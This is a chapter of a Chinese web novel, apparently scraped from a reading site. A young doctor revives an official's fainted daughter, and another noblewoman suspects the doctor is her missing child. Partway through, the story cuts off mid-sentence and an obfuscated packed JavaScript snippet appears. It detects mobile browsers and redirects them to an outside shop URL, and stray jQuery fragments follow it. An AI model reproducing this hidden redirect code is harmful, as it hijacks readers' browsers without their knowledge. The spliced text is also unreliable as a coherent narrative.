50. 田夫人(1)

作品:《小观音被剜心后

    “我是大夫,夫人可愿让我试试?”


    随着一道柔柔的嗓音响起,围观的众人眼眶里便撞进一道稍显羸弱的身影。


    夜色如墨,烛火暧昧,她的轮廓被勾勒成一幅沉默的剪影。藕粉色的披风将她裹了个干净,只能看到一个脑袋,脑后的发丝未绾,安静的垂在身后。身量并不高挑,但很相得益彰。


    众人的目光又逐渐移到女子脸上,四下里寂静下来。


    若说从背影还无法确定这女子相貌如何,但这下再无一人有这种忧虑了,这分明是不可多见的美人啊,虽然瘦弱了些。


    藏在人群里的赖涣看的眼睛发直,不知为何他总觉得这背影有几分熟悉。


    余怜再次开口:“我是满杏堂的大夫,若夫人信得过我,我愿意试试。”


    那妇人就这样遥遥地看着余怜,一言不发。即使是到这种性命攸关的要紧时刻,她还是无法相信一个女子的医术。


    亭子里有妇人读懂了她的意思,道:“田夫人,不如让这位大夫试试吧,不然天黑路远的,等回了城令爱恐怕更严重了。”


    听到这称谓,余怜眉眼微动,暗忖道:难不成这妇人果真是田明的夫人?


    地上的田夫人还是一言未发,只能看见两行清泪滴落。她如何不晓得这个时机有大夫都不错了,可她实在是不放心啊。她这个女儿自小体弱多病,多亏田明争气才能把女儿拉扯大,如今突然发生这种事如何让她不着急。


    先前那妇人又劝道:“田夫人,人家姑娘也说了自己是满杏堂的大夫,满杏堂的名声大家也都清楚,想必不会出什么大事的,就让她试试吧。”


    “是啊,让这姑娘试试吧。”剩下几位妇人也一起劝起来。


    田夫人嘴唇蠕动几下终是下定决心,哑着嗓子道:“你来吧,若是治好了重重有赏。”


    余怜这才款步上前。


    “等等!”


    状况徒生。


    田夫人一把抓住余怜的手腕,怒不可遏:“你是个瞎子?”


    声音喊的极大,所有人都听到了。亭子里那几位妇人一起上前看余怜的眼睛,无一例外都捂着嘴后退,人群响起窃窃私语声。


    “你个瞎子缘何要来诓骗我,我的女儿都这般了,你还要来落井下石,你究竟是何意?”田夫人越说越激动,只见眼泪再次流出。


    余怜忍痛道:“我并未欺骗夫人。我确实是一名大夫,也确实在满杏堂。今日满杏堂掌柜的夫人也在此处,夫人若是不信我,大可叫她出来辨辨,没必要给我扣上个骗子的骂名。”


    她一番话怼的田夫人怔愣住,称此时机将手抽了回来。


    “还有,我的眼睛不是瞎的,只不过瞳色如此。夫人若实在信不过我,我走便是,没必要挑出诸多刺来。”


    随着话音落下,杨嫂嫂也挤出来,道:“夫人,我就是满杏堂掌柜的夫人,我可以作证这位姑娘所言非虚,她真的是位大夫,眼睛也不是瞎的。”


    不过田夫人这下哪儿还听得下去这话,人一旦钻到死理里哪儿那么容易出来,何况她本来就对余怜抱有意见。


    “你和她认识,谁知道你们是不是早就说好了,现在说的是斩钉截铁,若是出了事谁来负责?”


    杨嫂嫂听到这番话也被气得不轻,她本来就不让余怜现身,现在还把人当着自己面说,更觉得没有救的必要。她大手一挥,拉过余怜道:“既然夫人如此不信,那我们二位就告辞了,只不过夜还长,希望夫人下山时可得当心着脚下,莫到最后女儿没救成自己反倒受了伤。”


    田夫人怒火中烧,声嘶力竭道:“你这妇人好生恶毒,你可知我丈夫是员外郎,你今日如此辱我,我必不让你好受!”她向左右使了眼色,“捉住她们两个,给我狠狠的打!”


    几个仆从依言走出亭子,杨嫂嫂一把将余怜护在身后:“今夜围观的这么多人,夫人你可想好当真不怕自己丈夫的名誉受损吗?”


    田夫人自是听出话里威胁的意思,但又不得不承认这话确实有道理。她今夜能收拾的两个人却收拾不了一群人,但凡今夜的事走漏风声,她丈夫一定会被御史台那些木头脑袋弹劾。


    思及此,她叫停下人。


    杨嫂嫂也默默松口气。她方才也就是占了嘴上功夫,还敢豁出去赌,要是田夫人理智全失的话,保不齐真的把这所有人都给教训一番。她后怕的递给余怜一个安抚的眼神。


    先前那位妇人又出来打圆场:“田夫人,要不先试试吧,总归再也找不到别的大夫了。方才我也听说这姑娘有些本事,先前的芙蓉水和三其长皆出自她手。若是不放心,我们还有这么多人一起看着呢,总不会把人放跑的。”


    赖涣也躲在人群里夹着嗓子说:“我可以作证,这姑娘真的会医术!”


    不过他做的就是伪证了,他也就是看余怜长得好看,不忍看到姑娘受委屈,这才来帮腔。用他的话来说就是“见色姝丽,心不忍也”。


    随着他怪声怪气的叫喊,众人也想起满杏堂确实有位女大夫,更多的人喊着让田夫人相信余怜,不过到底是真的想让余怜救人还是想赶紧回去睡觉就不得而知了。


    “田夫人,你想好了吗,若真不需要我的话,我可就回去了。”余怜语气淡淡,像是只要听到田夫人一个不字就立马转身离开。


    田夫人噙着泪看她,良久后开口:“你来吧,若是出了问题你跑不掉的。”


    余怜这才再次上前,蹲在田夫人身前。


    躺在怀里的女子双目紧闭,脸色苍白,口唇无华,只看了一眼,余怜就摸上女子的手,除了冷脉象也很微弱。她瞳孔微动,暗道果然如她所想。


    “请夫人把她放平,令爱只是受惊引起的厥症,您这样抱着只会让她更严重。”余怜从田夫人怀里结果人放平到地上,转头看过左右道,“找几个人把这儿围起来,我得为她顺气需要解开衣服,劳烦动作快点儿。”


    田夫人看余怜真有几分本事,立刻差自己的仆从上前围住。


    余怜跪在地上迅速解开田夫人女儿的衣服,因为没带银针,只得用手依此按压水沟、内关、百会等一□□位,直到看见她胸膛开始起伏,余怜再次按上合谷,太冲两个穴位。


    “宿院各房中房有艾草,多取一些过来,记住只要干的,再带上一壶清水,动作快点。”余怜再次有条不紊的安排下来。


    田夫人的人手已经用完了,身边那个一直帮忙说话的夫人立刻派出自己的人。一来一回,眨眼间东西就被全部带来。


    余怜拿过一大捧干艾草,迅速揉成艾绒,一半塞进那壶清水里,一半用火点燃。在艾草燃烧出浓烟时,又以手作扇,将那股浓烟尽数扇到田夫人女儿的脸上。


    浓烟滚滚,方才因为按压穴位已经能够呼吸的口鼻转瞬就把这烟子吸进肺里,也因为这股浓烟,田夫人的女儿剧烈咳嗽起来,不到三声就从喉咙里呕出一口浓痰。多亏余怜早有预料,一开始就将她的头放偏,否则这一下一定会让人再次窒息。


    看到浓痰被吐出,余怜放下了手里的艾绒,拿起地上的艾草水喂给田夫人的女儿。一半流出一半进嘴,在一壶水最后一口也喂出来的时候,地上的人悠悠转醒。


    田夫人几乎是瞬间就扑到地上,痛哭流涕道:“我的乖女儿你可算是醒了,真是要吓死阿娘了。”


    地上的人还惨白着脸,气若游丝无法回应她,只能看到嘴巴一张一合的想说话。


    人才刚醒,身子虚弱的要命,要是再晕一次怕只能连夜赶回都城。于是余怜嘱托道:“令爱才刚苏醒,情绪不宜太过激动,夫人还是先差人送她回房吧。地上凉寒又下了雨,这一遭恐受寒,须得动作快点。”


    想必是她说的“回房”又引起了田夫人女儿的不好回忆,她哆嗦着胳膊捏紧田夫人的衣服,抿紧嘴唇摇头,俨然是一幅死活都不肯回去的样子。


    田夫人也晓得她的意思,连忙安慰道:“乖女儿莫怕,阿娘不会让你一个人回去的,等会儿你就到阿娘房里,阿娘把所有人都叫到一起就不怕了,好不好?”


    听到这话她女儿才放下心来,身边的仆从也在田夫人的示意下把人带回房里。


    人群里让开一条道,赖涣这时又藏着脑袋变换音调喊:“这位大夫把夫人的千金治好了,夫人要怎么奖赏啊?”


    田夫人听到这声音面色不虞了一瞬,她又没说不履行承诺,现在被人提醒,倒显得她多言而无信似的。她恢复到端庄的样子,清清嗓音道:“我自是记得奖赏的事,只不过这次上来没带什么东西,等明日下了山,你只管到田府上找我就是。”


    她取下身旁丫鬟的令牌递给余怜:“这是我府上的令牌,凭此护院就会放你进去,没什么别的事我就先回房了。”


    她话是这么说,但不等余怜有所回应就大步离开,只能看到一抹着急的背影。


    为母心切,大家都懂得这个道理,况且田夫人已经给了信物,便再没人发声阻挡她。


    事情已经结束,围观的人鸟散鱼溃,呼呼啦啦的回了自己的房里,杨嫂嫂也拉着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291399|198203||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    余怜回撤。


    “等一下。”


    余怜转过头,看到是亭子里一位从未发声的妇人,那妇人用一种她看不懂的眼神看她。


    “夫人唤我何事?”


    那妇人眼神柔软,轻声细语地问:“方才我观姑娘救人时有条不紊,想必一定医术高明,所以想问问姑娘可愿之后上我府上来请个平安脉?”


    请平安脉又不是什么劳神费力的事,就算现在她没拿医箱也不妨事。


    余怜道:“若要请平安脉的话,我现下就可以,不会费夫人太长时间。”


    那妇人摇摇头:“不是的姑娘,并非只有我一个人,我想让你把我丈夫和儿子都看看。”她有些拿不准余怜是否会同意,于是问:“不知姑娘可愿?”


    杨嫂嫂觉察出这位妇人应当也是官夫人,所以她悄悄地拍了下余怜的手。


    也不晓得余怜是会错意还是故意的,她道:“可以的夫人,我明日下山,差不多大后日就能去您府上。”


    那妇人脸上漾起笑:“如此便好,到时候我会差人去接你的。”


    一席话就这么结束,各自回了房里。


    “夫人快歇息吧,夜已经这么深了,当心睡不好头疾又犯了。”先前找余怜上门的妇人身旁跟着的婆子劝告道。


    那妇人此时却一脸激动的神色,轻喘着气道:“英嬷嬷,我真觉得那位大夫好生熟悉,要不是她额间没有那颗红痣,眼睛还是那样,我真要以为她就是我的怜儿了。”


    先前在亭子里看到余怜的那刻,她心里就没由来的察觉到熟悉,就算她从未见过余怜,也不知晓余怜的名字,但她就是莫名的亲近,以至于最后叫住余怜,并且用了一个拙劣的借口让余怜到自己府上去。


    英嬷嬷宽慰道:“夫人莫要激动了,就算不是小姐,夫人见到这姑娘也能有个念想,切莫再因为小姐的事伤神了。”


    她掩住眼底的悲楚,想到夫人自从小姐失踪,身体便每况愈下,一直到现在才稍微好点。这会儿又因为一丁点儿说不清的熟悉感挑起情绪,很难不让她担心夫人的身体。


    英嬷嬷道:“夫人快睡吧,不然面色不好,被那姑娘看到可如何是好。”她好歹陪这妇人这么久了,早就知道该怎么说话来劝告。


    妇人也果然因为这句话停下思虑,转身上了床。


    这边余怜她们两人刚和妇人分开,往自己的院落没走两步就被窜出来的赖涣跟上。


    “姑娘刚才救人的时候可真像是华佗再世啊,不知姑娘从医多久啦。”


    杨嫂嫂听到赖涣这话直接牙酸,她不动声色的挡在余怜身前,道:“这位公子说笑了,我家这丫头哪儿有您说的这么厉害。”


    “诶,”赖涣脸一撇,“这怎么是说笑呢,我这全是发自内心的,这姑娘当真是我见过医术最厉害的了!”


    杨嫂嫂默默在心里翻个白眼,心道:只怕都没见过几个行医的女子,还最厉害,简直是胡诌。


    不过面上还笑吟吟道:“如此我便代这丫头谢谢公子赞赏了。”


    赖涣摆手推拒:“实话实说,实话实说罢了。”他又凑上来道:“只是不晓得姑娘叫什么名字啊,我想着下山以后找这位看诊也方便一点。”


    杨嫂嫂在心里冷笑一声,道:“名讳,名讳,名字便是忌讳,公子这么问怕是不妥吧。”


    赖涣一怔,方才光想着人了,忘记了这一茬,他连忙赔罪道:“是是是,是我唐突了,两位莫怪罪,只是我……”


    杨嫂嫂打断他的话,道:“公子我们到了,祝您今夜睡的安稳。”


    “嘭”


    房屋的门被关上了,只留下了被碰一鼻子灰的赖涣。他装作毫无在意的摸了下鼻尖,转身灰溜溜的跑走了。


    “终于走了!”杨嫂嫂透过门缝看到远去的身影发出一声感叹。


    余怜道:“嫂嫂为何对刚才那人抱有这么大意见?”


    杨嫂嫂看着还没意识到自己差点被骚扰的人道:“你啊,真不晓得谁把你养的这般迟钝。”她先是感叹了一句才说:“方才那男子分明是冲着你来的,你没察觉到?”


    余怜困惑地摇摇头。


    真不怪她没察觉到,赖涣一来就是杨嫂嫂在周旋搭话,没让余怜开一次口,后面也是一直把两人隔开,就算她想往这方面想也要点儿时间。


    杨嫂嫂道:“算了,算了,不说了。快早点儿睡吧,你不是还要给裴大人准备生辰礼嘛,明天我就带你去找。”


    烛火熄灭了,话题就此结束。